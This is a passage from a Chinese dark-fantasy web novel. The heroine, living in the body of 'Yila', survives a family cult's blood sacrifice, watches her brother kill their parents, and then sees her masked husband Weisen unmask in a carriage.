巴特夫人脸上的悲切僵住,纪觅依看到她的反应,将刀锋又压进兰迪皮肤半分。
“好,好!你松开兰迪!”
巴特夫人的求饶变得绝望起来,她泪流满面地逐步靠近,站在纪觅依身侧。
可就在此时,变故突生!
就在她以为巴特夫人会老老实实走进暗道时,对方却猛地往她扑来,毫不在意兰迪的安危,一改先前的慈母形象。
纪觅依将兰迪往身旁一甩,在她将匕首插进巴特夫人小臂的一瞬间,自己也被掐住脖子,撞到墙上。
那只死死锢在脖子上的手收紧,切断了她的喘息,这种濒死感让纪觅依刹那间失去听觉,世界在此刻被掐灭了声音,只剩下颈动脉的跳动。
她几乎是突破生理机能,扬起手,将匕首再次扎向巴特夫人的手臂,对方却就像是感受不到痛觉般,狞笑着扯着她,再次撞向墙壁。
后背撞上的瞬间,痛觉迟了半拍,才如海啸般朝纪觅依涌来,她大脑发麻,痛到失声,只能张开嘴巴,发出无声的痛呼。
她想呼唤维森,手链上的宝石发热,铃铛也自主晃动着,可她却连话都说不出,这种无力感让纪觅依的泪水肆意流下。
“放开她!”
不知何时,兰迪从地上爬起来,向巴特夫人撞去,她终于松开了手,踉跄了几步,稳住身体后,一巴掌将兰迪扇飞在地上。
纪觅依倒在地上,四肢无力,只能大口呼吸,过了数秒她才能看清眼前的景象。
她没有料到,兰迪也是被欺骗的人,他被巴特夫人那一掌打得脸颊立马红肿。
“母亲!”
兰迪张嘴吼道,齿间沾满鲜血,被欺骗的愤恨与痛诉交织在他眼中。
巴特夫人嗤笑一声,拔出插在手臂上的匕首,向地上一扔。
“兰迪,你个成事不足,败事有余的白眼狼!”
他瞪大了眼睛,不敢也不愿相信,这句话竟是从平日里最宠爱自己的母亲嘴里说出的。
而巴特夫人哼着不成调的曲子,蹲在纪觅依身旁,扯住她的头发,将她的头扬起,声音却是和动作截然不同的温柔:
“我的孩子,如果你一直乖乖的,不就没这么多痛苦吗?”
35. 终结之前
巴特夫人温柔地低语像毒蛇信子舔舐着她的耳廓,那只扯住她头发的手愈发使劲。
“为......为什么?”
纪觅依从齿缝间挤出不成句的质问,右手徒劳地抓挠着巴特夫人的手臂,借着这个动作晃动着手链,铃铛声零碎而微弱地响起、
巴特夫人歪了歪头,脸上依旧挂着那种令人毛骨悚然的慈爱笑容。
她放过了纪觅依的头发,转而捏住她的下巴,仔细打量。
“孩子,我也不想的。”
“母亲......”
纪觅依装作哀求,在身体恢复知觉后,更加用力地晃动起手链,她清楚地听到了铃铛的声音,可这响声却没有引起巴特夫人和兰迪的注意,就好像,他们完全听不见。
“傻孩子,别怪我。”巴特夫人叹息道,声音轻柔,“谁让你生下来就是个女孩,你的血液,你的灵魂,都是属于祂的。”
她轻轻抚开纪觅依被浸湿的额发,另一只手摸上心口,嘴里默念着:
“愿祂保佑你,我的孩子,我这是在救你,我这是在帮你,我这是在......”
“我这是在爱你,孩子,我亲爱的伊拉。”
“你放屁!”纪觅依一挥手,将巴特夫人推翻,朝被丢在地上的匕首爬去,而那把匕首,就在兰迪脚下。
兰迪对上了纪觅依的眼神,他刚想捡起匕首递给她,就被巴特夫人阴狠的目光锁定。
她踩在纪觅依的脚腕上,使劲一碾,逼得她发出痛呼。
巴特夫人走到兰迪身边,声音冷如寒冰:
“兰迪,这是我给你最后的警告。”
“母亲——”兰迪怯生生地开口,“不是,不是说姐姐只用嫁给亨利吗?你,她这个样子,送过去......”
“我亲爱的兰迪。”巴特夫人蹲下,顺着他同自己相似的栗色头发,下一秒又恶狠狠扯住他的耳朵,“我的疼爱怎会养出这样一个白痴,你乖乖听话,别做多余的事情。”
“今天,我就要告诉你,我们家族的秘密。”
“维森......”纪觅依躺在地上,用尽全身的力气摇动着手腕,喊出那个在此时成为唯一希望的名字,“维森......救救我......”
“我的孩子,你是在喊你那傲慢的丈夫吗?”巴特夫人笑得前仰后倒,像是听到了什么天大的笑话,“你觉得他能活着回来吗?”
“你父亲忍他很久了,这次得到了亨利伯爵的助力,解决他就是分秒之间的小事。”
巴特夫人慢步来到她身边,用脚尖检查了一下她的脚腕,发现并未红肿后,就将她一把拉起,架着她往暗道走去。
她毫不在意纪觅依是否有力气行走,只顾着前进,在将要走下阶梯时,巴特夫人扭头看着满脸狼狈、呆傻站在入口的兰迪,厉声道:
“愣什么?跟上。”
兰迪闷声走入暗道,巴特夫人继续拖着纪觅依向前。
她完全没注意到,兰迪背在身后的手中,紧紧握着那把发出幽绿光芒的匕首。
而纪觅依被这样强行拖拽,已分不清疼痛是从何处传来的,巴特夫人的话语在她的脑海中循环,一遍又一遍击碎她最后的防线——
维森,真的死了吗?
在这个念头冒出的那一刹,垂落在她手腕的宝石变得炙热,开始有节奏地闪动起来。
处于绝境中的无助和□□实打实的痛苦轮番袭来,她时不时感到眩晕。
纪觅依不知道这是不是幻觉,可当她低头凝望手链时,维森的声音就会在耳边回荡:
“别相信她,撑下去,伊拉。撑下去,我立马就来。”
“......好。”
纪觅依回答了那声微弱的幻听,而巴特夫人听到之后,只认为她在神志不清的呓语,轻笑一声,不做任何回答。
她们走向暗道深处,墙壁两侧悬挂的油画越来越密集,催促着来人的步伐。
纪觅依聚焦着眼神,努力辨认着其中的内容:
墙壁上的油画并非随意排列,它们像一部血腥的编年史,不容任何抵触的展示在纪觅依面前。
第一幅,一位身着古旧裙装的少女跪在祭坛前,面容模糊,而她身后,是一个蜷缩在角落里的小男孩。
第二幅,是相似的场景,这次画面中多了一个高大的男人,他双手分别搂着这两个孩子。
女孩褪去了青涩的模样,她眼神空洞,向脚下的祭坛呆呆望去,而男孩脸上满是懵懂的恐惧。
第三幅,第四幅,第五幅......纪觅依的目光飞速掠过。
直到看到女孩四肢被割开,血液沿着祭坛的纹路溢开,男孩从幼童逐渐成长为少年、青年......长出了那熟悉的山羊胡。
他的眼神也逐渐麻木,成了这场沿袭至今的虐杀的——共犯。
这一切不是偶然,世世代代皆是如此。
长女献祭,幼子继业。
巴特家族血脉传承的不是荣耀,而是一个残忍的诅咒:每一代的“伊拉”从出生起,命运就被钉死在这条通向祭坛的暗道上;每一代的“兰迪”,则在麻木中,踏着姐姐的尸骨,走向掌权人的位置。
而这一切的一切,最终的目的,就是暗道的尽头——
那对在祭坛之上舒展的天使羽翼。
“看明白了吗?我亲爱的伊拉。”
巴特夫人的声音从前方传来,带着一种近乎虔诚的狂热,她放开纪觅依,扑到羽翼之下跪拜。
“圣洁的主,原谅我的慈悲,希望您能给伊拉一次得知真相的机会。”
她起身摸上羽翼,继续说道:“伊拉,巴特家族会感谢你的,家族的荣光将因为你的奉献更添光彩!”
“我的奉献会换来什么?”
纪觅依在巴特夫人松开自己之后,靠在墙壁上,匀了几口气,以极慢的语速接着问道:
“既然,我必须为了家族牺牲,母亲,请你告诉我,这——会换来什么?”
她倚在墙壁上,手捂着仍在发热的宝石,默念着“维森”的名字。
“孩子,家族这世世代代的奉献,都是为了召唤那位大人。”
“当圣洁的天使降临,我们家族将会获得祖辈从未奢想过的荣光。”她看向纪觅依,眼神里全是惋惜,“如果,你能一直听话就好了,按照计划,仪式在亨利伯爵的见证下,会更加完整的。”
天使,好笑?
伊拉的灵魂此刻与纪觅依共鸣,血腥味溢上喉头,发出灵魂深处的质问:
“这样的献祭持续到如今,你们见到过天使吗?”
“这种血腥的献祭,又怎么可能召唤来你们口中‘圣洁’的天使!”
巴特夫人的脸色一沉,却没有反驳,只是走到纪觅依身边,拖拽着她走向羽翼之下。
纪觅依一个踉跄,差点摔倒在地上,又立马被拉起,随后被一把扔在祭坛上。
她痛极了,可此时却顾不上这些。
纪觅依强撑着自己坐起,目光直直对上逐渐失去理智的巴特夫人。
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“为什么不反驳?”
她接下来的每一句都直击巴特夫人那可笑的信仰。
“其实你也不知道,这种仪式到何时才能结束吧!”
纪觅依嘴角勾起,眼里没有任何畏惧。
“可笑,你们信奉了这么久,得到了什么?
“你们可笑,你们的信仰更是可笑。”
“这个家族就是一个邪教!你就是个异教徒!”
巴特夫人被完全激怒,将她推倒在地上,双手捂住她的嘴,怒吼道:
“闭嘴!闭嘴!”
纪觅依躲闪着,嘴里的话没有一刻停止过:
“你连兰迪的死活都不在乎,还装什么?”
“你又冷血又愚蠢!”
“闭嘴!啊啊啊!闭嘴——”
纪觅依被死死压住,动弹不得,那双手完全锁在她脸上,断绝了她一切呼吸的机会。
她能感受到,自己的四肢愈发麻木,可头脑依旧清醒。
这里是无数个“伊拉”的葬身之地,到了她这一次,该画上句号了。
纪觅依的眼神猛然射向巴特夫人身后、悄无声息缓缓靠近的兰迪。
赌对了!
巴特夫妇这辈子也不会想到,这一代的“兰迪”,可不想按剧本走。
她赌的就是,这一家人都如自己所想一般,足够冷血。
纪觅依刚才那些话语,就是在激怒这二人,她要让巴特夫人失控,要让兰迪心中只剩恨意。
他扬起手臂,满是血丝的双眼中闪过一丝挣扎,一丝被长久欺瞒的愤怒,最终,被一种冰冷的决心所吞噬。
他双手紧握刀柄,紧咬牙关,不带有一丝犹豫地刺向曾经最疼爱他的母亲。
剧痛从巴特夫人的后背传来,她瞳孔震动,向一旁歪倒,眼中全是对这一切的不可置信。
“兰,兰迪。”这刀扎的极深,瞬间夺走了她的生机,“凭什么,为什么,我是爱你的,我一直呵护着你啊——”
“为什么?兰迪!”
她吼出这一句,就像当初兰迪曾喊出的那声“母亲”般。
“我......”兰迪本来还呆滞在刚刚弑母的这一幕中,随后收起所有表情,冰冷地看向渐渐失去血色的巴特夫人,“可你不在意我的死活,家族是我的,姐姐也是我的。”
“母亲。”
他蹲下,亲眼见证着巴特夫人失去生命体征。
“我会好好打理家族的。”
巴特夫人的血液流淌在祭坛的纹路中,她可能这辈子都没有想象过,躺在这里的会是自己。
也未曾想象过,结束自己生命的,是兰迪。
兰迪站起身,盯着纪觅依。
而纪觅依再次坐直身体,急促呼吸着,左手抚上脖颈,右手摇晃着手链。
“维森!”
“砰——”
暗道的门在一声巨响中被炸开,一道黑影闪过,兰迪被掐住抵在墙上,任凭他双手如何挥舞,来者都未曾松下力度。
纪觅依的呼吸一滞。
那熟悉的黑色一角,扼在兰迪脖上的皮质手套,和那双黑色碎发下的墨绿色眼眸。
是阿斯莫德!
她在认出他那一刻,泪水瞬间夺眶,所有的委屈实质化。
“甜心。”
维森急促的脚步声在阿斯莫德闪进后传来,他跪坐在纪觅依面前,毫无之前贵族的做派,将她揉进怀里,声音颤抖着:
“我就不该将你留在这的。”
36. 血王座
纪觅依的视线被泪水模糊,她在维森怀中,目光却落在了阿斯莫德身上。
维森温暖的怀抱隔绝了祭坛与地道的阴冷,他将她锁在怀中,一遍遍重复着:
“对不起,我来晚了......”
而纪觅依不语,看着在阿斯莫德手中逐渐失去反抗力气的兰迪,清了清嗓子。
“阿斯莫德。”
他听到纪觅依的呼唤,手一僵,随即卸力,兰迪跌坐在地上,贪婪地吸入空气。
维森的手臂微微发力,下一刻,他竟松开了怀抱,转而抬起手,用指腹轻柔拭去她的泪水。
他的动作满是怜爱,凑到她耳边,声音压得很低,那张带着面具的脸完全挡住了纪觅依的视线:
“我的伊拉,你总是这么心软。”
站在一旁的阿斯莫德几不可察地绷直身子,双手紧握,指尖隔着皮料死死扣住手心。
维森温柔地理顺纪觅依的头发,留恋地在她发梢停留片刻。
随后,他手臂穿过她的膝弯,稳稳将她抱起。
纪觅依下意识地攀住他的肩膀,视线越过他,与阿斯莫德猝然抬起的目光撞在一起。
那双墨绿色的眼底仿佛有风暴在无声酝酿,却被他强压在冰冷外表之下。
维森抱着她,步伐沉稳,走向尽头那对巨大的天使羽翼。
他踩过祭坛上未干的血液,小心翼翼将纪觅依放在地面。
她坐在羽翼正中,背靠在发寒的石壁,但这次,她和伊拉不会是牺牲者,而是坐在历代“伊拉”血泪铸就的王座之上,终于俯瞰众生的审判者。
“阿斯莫德。”维森站直身子,向后勾手,“把人请进来吧。”
阿斯莫德点头应下,向暗道外走去。
而维森优雅迈向兰迪,毫不费力将他提起,拎到纪觅依面前,抬脚在他膝弯处一踢。
兰迪直直跪在纪觅依面前,狼狈地爬起,却被维森一句“跪好”,吓得往地上一磕。
“砰——”
阿斯莫德将一个黑影扔过来,正正好好落在兰迪身旁。
那团黑影穿着满是泥土和草屑的礼服,在地上翻滚了半圈,露出一张惨白扭曲的脸——
是巴特老爷。
纪觅依定睛一看,他满脸血污,鼻梁歪斜,半边脸肿得发紫,山羊胡被硬生生拔掉一半,剩下的几根沾着粘稠的血块。
巴特老爷挣扎着起身,喉咙里发出嘶哑的嗬嗬声,他的目光惊恐地扫过跪在身边的兰迪,又转向分别站立在纪觅依两侧的维森和阿斯莫德,最后,落在了端坐于祭坛之上的纪觅依。
他像是在寻找什么,迅速向身后一转,却看到了巴特夫人失温的尸体。
巴特的眼睛瞬间瞪大了。
“唔......呃......”巴特老爷伸出手,似乎想指向纪觅依,却又被疼痛攥住,瞬间缩回。
阿斯莫德无声地站在她身边,微微垂着头,黑色手套上沾着几抹暗红。
维森歪了歪头,饶有兴趣地打量着眼前锐气大败的父子俩。
被他们护在中间的纪觅依,揉了揉自己的手腕,目光如炬,投向巴特老爷。
“伊,伊拉。”巴特老爷的声音像是破败的风箱,“你,你居然杀了你母亲。”
“你个弑母的白眼狼!”
他扑向纪觅依,可身旁的阿斯莫德怎会给他机会?
他猛地踹向巴特老爷,在对方落地前,闪身上前提膝一扫,令人牙酸的“咔哒”声传来。
阿斯莫德俯身抓着巴特老爷的衣领,将他再次提到纪觅依面前,抬脚在他膝弯一踢。
纪觅依看着这熟悉的一幕,不禁感慨,这主仆二人虽然不对付,但收拾人的手段,可真是如出一辙。
而站在一旁的维森轻轻挑眉,漫不经心开口道:“真是粗鲁。”
阿斯莫德毫不在意,只是整理了一下袖口,沉默站回纪觅依身边。
“父亲。”纪觅依开口,等巴特老爷阴毒的眼神落在自己身上后,将手一摊,“这你可冤枉我了,杀她的不是我。”
“是兰迪。”
纪觅依的目光从巴特老爷身上移开,看向兰迪。
男孩跪在那里,低垂着头,身体微微发抖,方才弑母的那股狠劲似乎已消失殆尽,只剩下一片茫然的恐惧。
“兰,兰迪?”巴特老爷目眦欲裂,扯着兰迪的胳膊,“不是你,对吧,儿子?”
兰迪默不作声,他的反应让纪觅依发出一声冷笑,她抬起手,示意阿斯莫德将她扶起。
“咳。”
在他们手相碰的那一刻,维森瞪了阿斯莫德一眼,转眼又笑眯眯地接过她的手。
纪觅依不好推拒,只好顺着维森,拉着他的手站起,刚站直就被维森搂紧。她被勒得用手肘轻轻往维森胸口一戳,皱着眉道:“扶着我就好。”
维森一脸无奈,眼底却满是宠溺地妥协,扶着纪觅依走向巴特夫人的尸体前。
她俯身拔出插在她后背的匕首,转身带着维森走回石台。
纪觅依把玩着手中的匕首,审视着跪在自己面前的父子二人,心中暗暗谋划。
阿斯莫德在看到她手中的匕首后,一扫脸上的沉闷,嘴角以几不可察的弧度上扬。而维森站好后,眯着眼观察着纪觅依的一举一动,在发现刀柄上那颗宝石后,沉着脸瞪向阿斯莫德。
处于这无声风暴中的纪觅依,浑然不知头顶上空二人的暗流涌动,只是摩挲着刀柄,缓慢开口道:
“反正我说什么你也不会相信,那我也不必和你多费口舌。”
“兰迪。”纪觅依将匕首递给他,迎上了他惊愕的目光,“我给你个实现愿望的机会。”
“你不是想接管家族吗?”
她抬起手,指向巴特老爷,兰迪顺着她的指尖,锁定在了自己的亲生父亲身上。
“我的弟弟,你觉得,他能容忍一个弑母的孩子留在自己身边吗?你我都清楚,我们的父亲——是个怎样的人。”
纪觅依察觉到了兰迪的纠结,猝然声色俱厉道:“你还在想什么?兰迪,我最后告诉你一个道理!”
“如果你今天动手,你觉得巴特会怎么做?难道会放过你,再去找一个妻子来隐藏秘密?一旦他有下一个孩子,你只会比我现在的处境更惨!”
“这条路,在你弑母的那一刻就注定了,要么清扫干净,要么死。”
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纪觅依将匕首甩在兰迪面前,不再耐心等待,只是冷冷扫过他们,留下最后一句:
“这是我对你的仁慈,是......”她犹豫了,最终吞下了那个名字,“给你留下的活路。”
她抬头看向维森,示意他将自己扶起,维森很受用地托着她的手,任她倚在自己身上。
“伊拉,我以为你会亲自动手呢?”
面对维森的询问,纪觅依只是笑着瞥了他一眼,回答道:
“你说的对。我心软,下不去手。”
这不是敷衍,只是纪觅依不想把话说完:她本就不打算亲自动手。
作为一个外来者,她没有资格去裁决,属于这个世界的人的生死,也做不到痛下杀手。
这一切,都是为了回家。
而作为伊拉的同伴,这是她思考后选择的真正的复仇方式:
让他们在信仰崩塌时,消亡于愚昧坚守的轮回中。
“我尊重你的一切选择,亲爱的。”维森扶着她离开,往出口走去,在迈出几步后,又停下脚步,扭头看向阿斯莫德,吩咐道,“留下来收尾吧,按照伊拉的想法来,别做多余的事情。”
“是。”
巴特老爷的哀嚎声在纪觅依身后响起,他向四周爬去,姿态扭曲而丑陋,阿斯莫德面无表情地将他踹回祭坛。
而兰迪,指尖颤抖地握上匕首,双眼紧闭,像下定了决心。
就在纪觅依即将走到出口时,一声尖锐的痛号从幽邃的暗道传来,她闭上了眼,心中悬着的石头落下了。
“这里面太暗了,先别睁眼。”
维森捂住了她的眼睛,纪觅依乖巧地站在那里,没有反抗。
这座宅邸终于安静下来了。
维森半搂半扶地带着纪觅依走出书房,他的手不舍地收回,而纪觅依在双脚踏上长廊时,身体一软,差点跌坐下去。
她强撑了太久了,身体的疼痛感虽迟但到,在危机退下后一股脑袭来。
她感觉大脑发胀,四肢酸痛,浑身发热,不断地冒出虚汗。
维森立马察觉了她的不对,一把将她抱起,快步走向他们居住的房间。
他抱着纪觅依冲进浴室,动作轻柔地将她放进浴缸中,随后从兜里掏出药瓶,往缸里一洒。
浴缸里是不知何时备好的热水,在全身浸入后,纪觅依身体的疼痛瞬间消减,她抬起眼皮,看向此时呆愣在一旁的维森。
而对方终于回过神来,手足无措地站在那,想说些什么,下一秒却看见,心爱之人的衣裙浸湿后紧紧裹在身上。
维森害羞地低下头,结巴道:“我,那个,我,我还是出去吧。”
纪觅依看着他将门关上,一团高大的黑影随后在门外晃动,同时传来几声叮嘱。
“不舒服要立马喊我啊!我就在这等着。”
在一段沉默后,可能是怕她无聊,维森开始了漫长的絮絮叨叨:“这个药要多泡一会,效果很好。不知道水温如何......”
纪觅依觉得他啰嗦,却没有打断,只是咂了下嘴巴,撸开袖口,看着缠绕在自己小臂上的透明史莱姆,用气声问道:
“咕噜,你怎么过来了?”
37. 能量守恒
史莱姆迅速凝聚,在她手心化作一团,当咕噜睁开眼看见纪觅依后,“哇”的一声就哭出来了。
“嘘——”
纪觅依心疼,但又忌惮着门外的维森,只好用食指抵在它嘴巴上,温声提醒道:
“维森在外面,我们不能被发现。”
“没事的。”咕噜学着她的样子,小声嘀咕,“我在这里开了领域,他听不见。”
纪觅依谨慎地望门外探去,试探地大喊几声:
“维森!维森?”
门外的影子没有反应,她这才彻底放松下来,靠着浴缸往后一仰,露出劫后余生的疲惫。
只有在咕噜的面前,她才不需要竖起防线。
纪觅依将咕噜拖到脸颊边,亲昵地蹭了好几下,把它整得满脸迷糊,头顶冒出几个粉色泡泡。
“所以你怎么来了?”她戳破它脑袋上的泡泡,“你还没回答我呢,小咕噜。”
“这个嘛!”它跳起来抱住她的手指,拽到怀里,“我是跟着阿斯莫德过来的。”
“阿斯莫德?”
说到这,纪觅依这时才想起了自己刚才的疑惑:他怎么会来?
“嗯呢!”咕噜点了点脑袋,“他走得特别特别急,我猜肯定是你出事了,就偷偷跟过来了。”
它说完之后,吸了吸鼻子,像是在嗅闻什么,随即猛地一跳,扑到浴缸里,溅起一个大水花。
纪觅依刚刚还在思考,被它这突然的动静吓了一跳,立即坐直身子把它捞起。
还没等她开口,咕噜就甩着水珠在她手里惊呼道:
“好香!和之前的好吃的是一个味道!”
“好吃的......是那碗面吗?”
“对!”
得到咕噜的回答后,纪觅依陷入了沉思,她的手指无意识地在温热水面上划过,激起细微的涟漪。
“处理完了吗?”
“嗯。”
门外传来对话声,纪觅依连忙将咕噜送到手链上,那团透明的史莱姆迅速隐藏起来,只有在某些角度才能看到银链包裹外有一层透明物质。
她深吸一口气,掬起一捧温热的药水泼在脸上,水面倒映着属于伊拉的脸,眼睛中却闪着独属于纪觅依的坚定。
伊拉,我们做到了。
纪觅依喃喃自语,随后起身离开浴缸,水珠顺着肌肤滚落,被浸湿的衣裙紧紧贴在身上。她在镜子中看到这模样,皱了皱眉,迅速扯过一旁的浴巾,裹在身上。
就在这时,她惊异地发现,之前发痛的肋骨和后背,此刻竟只剩下了一种温润的酸软。
纪觅依掀开衣服一看,皮肤完好无损,就像她先前经历的生死搏斗都不复存在般。
太神奇了......
她没想到,维森的药居然还有这种奇效,不过在这个世界,好像也不足为奇。
那之前他的那碗面?也是为了......
这个念头落在纪觅依心中,泛起一丝难以言表的涟漪。她甩了甩头,不再深想,将浴室门拉开一条缝隙,探出脑袋,正好对上面朝自己的阿斯莫德。
他看到她的那一刻,眼神亮起,颊侧的酒窝随着嘴角差点显现出来,碍于维森在场,这笑又被他迅速压下。
而维森听到门口的动静,立刻转过身,面具后的目光第一时间落在她脸上。
“伊拉,你感觉好些了吗?”他快步走近,却又在离她一步之遥处停下,克制地低下头,“你还有哪里不舒服吗?”
“好多了。”纪觅依如实说道,对他微微一笑,“谢谢你,维森。”
维森似乎因这句突然的感谢而有些无措,偷瞥到她的笑容后错开视线,轻咳一声。
他的语气里是藏不住的炫耀:“有用就好,这是我专门准备的,只给你用。”
纪觅依心中的那丝涟漪扩散开来,变成一片模糊的暖意——
她甚至有种错觉,此时面前收起所有偏执的维森,居然有种奇怪的可爱之处?
“阿斯莫德。”她移开话题,看向在后面低气压的管家,“可以帮我把手提箱拿过来吗?”
阿斯莫德微笑应下,这下维森笑不出来了,他戳了戳浴室门,不满地嘟囔着:
“为什么不喊我,亲爱的。”
“这种事不是阿斯莫德的工作吗?”纪觅依不理解他在意的点,但出于他对自己的帮助,此时显得格外耐心,“我只是觉得这种琐碎小事不应该麻烦你。”
“这哪是麻烦,宝贝!”他悄悄靠在门上,拉近了与纪觅依的距离,“你的所有事对我来说都是至关重要的大事。”
果然......
她心里刚破土萌芽的耐心被维森这一举动泼了百草枯。
果然,刚才那种诡异的萌感就是错觉!
纪觅依干笑着敷衍,想把他和阿斯莫德都支走:“那我交给你个任务,等阿斯莫德回来后,你带着他一起出去等我,我要换衣服。”
“好。”
维森严肃应下,眼神里泛着光,活脱脱一只大型犬,就差条身后飞速摆动的长尾巴。
恰在此时,阿斯莫德走来,他看见维森靠在门板上,平直的嘴角抿得更紧,他将手提箱恭敬放在门缝边,后退数步,等待她接下来的命令。
“阿斯莫德。”他等来的却是维森,“跟我出去吧。”
他没有回答,只是默默跟随维森的脚步,等到关门声响起,纪觅依一把将浴室门打开,翻开手提箱,从里面掏出衣服。
她换好衣服后,低头看向手腕,咕噜正从手链上逐渐显形,用那双剔透的蓝眼睛望着她。
“真乖!”纪觅依压低声音,伸出手点了点它的脑袋,“等会也要藏好哟。”
“嗯呢。”咕噜蹭了蹭她的手指,听话地藏起自己。
在确定它调整好后,纪觅依蹲下,将箱子拉上,起身提起朝房间外走去。
她握住门把手一按,看见维森和阿斯莫德一左一右地站在门口,等待她的到来。
维森温柔问道:“收拾好了吗?”
她抬头看向他们,爽朗一笑:“都收拾好了,我们回家吧!”
二人脸上难得的同时浮现出笑容,维森缓步靠近她。
而阿斯莫德则是留下一句“我去准备马车”,转身离去。
维森伸出手,轻柔地托起她的手,以极慢的速度朝门外走去。
当他们走到第一晚所看到的那副油画前,纪觅依停下了脚步,深深凝望了一眼。
“伊拉,都结束了,何必留恋那些不好的过去呢?”
并不是留恋,只是一种感慨:巴特家族“苦心经营”了世世代代,终究毁在积攒已久的罪孽之上。
纪觅依并没有开口否认,维森有一点说的对——
是时候画上句号了。
她望向维森,点了点头,大步向前迈去,直到走到马车前才停下。
“姐姐......”
一声飘忽不定的呼喊从身后传来。
纪觅依扭头一看,居然是兰迪,他脸侧溅上的不知是谁的血,脚步虚浮,眼神慌张,一步一顿走来。
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阿斯莫德沉着脸走到纪觅依身旁,将已擦拭干净的匕首递到她手边。
“伊拉小姐,您收好。”纪觅依接过,满脸防备地看着驻足在几米外的兰迪。
“姐姐,你,你要走了吗?”他怯生生地开口,全然不见之前那副少爷模样,“你还会回来吗?”
“兰迪。”纪觅依郑重说道,“我是自由的,不管我回不回来,都是我的选择。”
“我不是任何人的所有物!”
这句话,是替伊拉说的,也不只说给兰迪听。
纪觅依盯着眼前狼狈且落寞的少年垂下脑袋,泪珠滚落,语气绷不住地一软:“兰迪,希望你以后真的能改变这个家族。”
她紧握匕首,钻进车厢内,坐在维森身边,将车门一关。
目睹了这一切的维森问道:“忍心吗?”
纪觅依瞥了他一眼,在马车开始移动时,往身侧的软垫一靠,反问道:“你是觉得我心狠吗?”
“这倒不是,亲爱的。”维森盯着她手上的匕首,陷入沉思,“你比我想的心软多了,如果是我,绝对会斩草除根,不留后患。”
“你说的对,我下不去手,至少这个弟弟曾帮过我。所以,我选择放他一马,至于他能不能在亨利手下活下来,就看他的本事了。”
她看向维森,放慢语速补充道:“但我的心软是有限的,我记仇,并且会加倍报复回去。如果在你设想中,我会是个纯良的妻子,那你就错了。”
维森听到她这“凶狠”的发言,嘴角勾起,缓缓靠近并解释道:
“亲爱的,我从未定义你,无论你是怎样的,哪怕你不是伊拉——”
他拖长语调,在纪觅依心中拉起警报,她用力向身后缩去,试图拉开与他的距离。
“我都爱着你,亲爱的。”
车厢内陷入沉默,纪觅依强压着恐慌,镇定对上维森的注视,对方眼中只有快溢出的纯粹爱意,就好像刚才那几句仅仅是他的情话。
在她的审视下,他坐直身体,语气里全是邀功。“我还想说,亲爱的,亨利已经被我解决掉了。”
“亨利?”
所以在维森消失的那段时间中,他居然解决了这么多事吗?
“伊拉,你的父亲企图和他联手对付我,可派了不少人呢。”他收回视线,整理着袖口,“但他们都不是我的对手。”
纪觅依看着他这副看似淡定,实际尾巴都翘到天上的样子,轻笑一声。
“那——”
维森竖起耳朵,迫不及待准备收下她的夸奖。
可她偏偏不如他的愿:“阿斯莫德怎么会来?”
“哼!”维森孩子气地将脸一撇,却还是老老实实回答,“我只是怕收拾太久了,耽误去见你。”
他盯着纪觅依,眼睛虚眯着,不知在想什么坏主意。
“哦——”
纪觅依打趣着拖长尾音,结果下一秒,维森突然朝她身上一歪,吓得她大惊失色。
而维森得逞后,笑眯眯地黏在纪觅依身上,双臂一圈,紧紧搂住她的腰,头靠在她的腿上,撒娇道:
“我好累啊!伊拉,我帮你解决这些事情,还都乖乖听你的安排,不能奖励我一下吗?”
“维森!”
纪觅依只觉得腿上像被小刺扎过般难受,握着匕首的左手又不敢轻易动弹,只能用右手推拒着。
谁曾想,此时的维森收住下巴,而纪觅依恰好伸手一推。
“咣当——”
维森的面具落了地。
38. 面具之下
面具落地的声响,在骤然死寂的车内被无限放大。
纪觅依的呼吸停滞,目光死死锁在维森那张毫无遮拦的脸上。
预想中的狰狞、丑陋,或是任何非人的恐怖,都没有出现。
时间在静谧的对视中被悄然拉长。
取而代之的,是......一张俊美的面容:长久不见天日而冷白的皮肤,高挺的鼻梁,薄唇因讶然微抿后,缓缓张开。
他躺在她怀中,没有丝毫慌张,反而捏起她一缕垂落的发丝在指间把玩,双眸追随着她颤动的睫毛。
维森调皮地吹了口气,刺得纪觅依眼睛一闭。
“被吓到了吗?”
纪觅依的视线终于聚焦,对上了他那双眼睛,在恍然之间,注意到了这完美面孔上的瑕疵。
一道扭曲的疤痕,盘踞在他的左额角,像不甘熄灭的余烬。
它野蛮地撕裂了那张脸上无暇的俊丽,同时覆上了惊心动魄的残缺,这种断臂维纳斯般的印记,在他身上显得独特又令人惋惜。
可荡漾在纪觅依心中的不是怜爱,而是寒意。
她颤着手抚上了那道与阿斯莫德右额角如镜像般对称的印记,呢喃道:
“这道伤疤......”
一个荒谬绝伦,却又在冥冥之中有所指向的猜想,在她脑海中炸开。
“和阿斯莫德有关吗?”
维森的嘴角勾起,露出一个纯真的笑容,只不过他的脸颊并未出现独属于阿斯莫德的酒窝。
那层总是笼罩在他瞳孔前的白翳消失了,藏于其下的翠绿重见天日。它不像阿斯莫德眼底的那般深沉,而是滤掉一切杂质的明丽。
他坐起身,凑到纪觅依身边,湿热的气息缠绵在她耳廓——
“是的。”
在这一瞬间,一阵熟悉且尖锐的刺痛从她的心脏传来。
“嗯.......”
纪觅依闷哼一声,左手猛地捂住胸口,指尖发白,胸口的布料在她手中被攥得发皱。
维森脸上的笑意瞬间凝滞,他偏过头,担心着身旁的她。
“你怎么了,亲爱的?”
纪觅依在这阵突如其来的疼痛消退后,左手紧握着刀柄,对面前这个满脸关心的男人只剩下了防备。
为什么......
【温馨提示:请找到并相信真正的主持人......】
那段加粗的红字此时再次出现在纪觅依脑中。
为什么维森的回答也扣除了次数?
她到底应该相信谁?
“维森。”纪觅依对上了他的视线,“你可以告诉我,这个疤痕是怎么来的吗?为什么......阿斯莫德也有?”
“伊拉,在回答你之前,我更好奇,他是怎么和你描述的?”
维森收起了那个轻浮的微笑,沉默了几秒,却没有得到任何回答。
“他是不是说,那是我对他的惩罚?”
纪觅依依旧一声不吭,只是低垂着脑袋,看向发麻的左手。
“他说的对。”
她猛地抬头,看向维森,眼睁睁看着对方落下了一滴愤恨的泪水,与之相伴的是他突然爆发的情绪。
“因为我嫉妒他!伊拉,我不愿和你讲起这个故事。”他摸上了那道伤痕,悲恸化作一滴滴不甘心的泪珠,“我就是这样一个内心狭隘的人,我嫉妒他可以有体面的样子来面对一切,来面对你。而我,只能苟且活在面具之下。”
“他的脸,他的手,都是我的手笔。伊拉,如果你开始讨厌我的话......”
维森环抱着自己,紧靠着软垫躲在一旁,像个孤立无援的孩童,强压着哽咽。
